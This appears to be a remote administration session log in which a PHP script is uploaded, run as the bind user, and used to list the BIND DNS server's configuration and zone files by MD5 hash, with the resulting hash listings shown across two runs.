MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:00:44: Establishing a connection
2026-04-30 17:00:44: 

PUT: /tmp/pkp524244

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:00:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp524244; rm /tmp/pkp524244'

2026-04-30 17:00:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:00:50: Establishing a connection
2026-04-30 17:00:50: 

PUT: /tmp/pkp848132

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:00:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp848132; rm /tmp/pkp848132'

2026-04-30 17:00:50: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
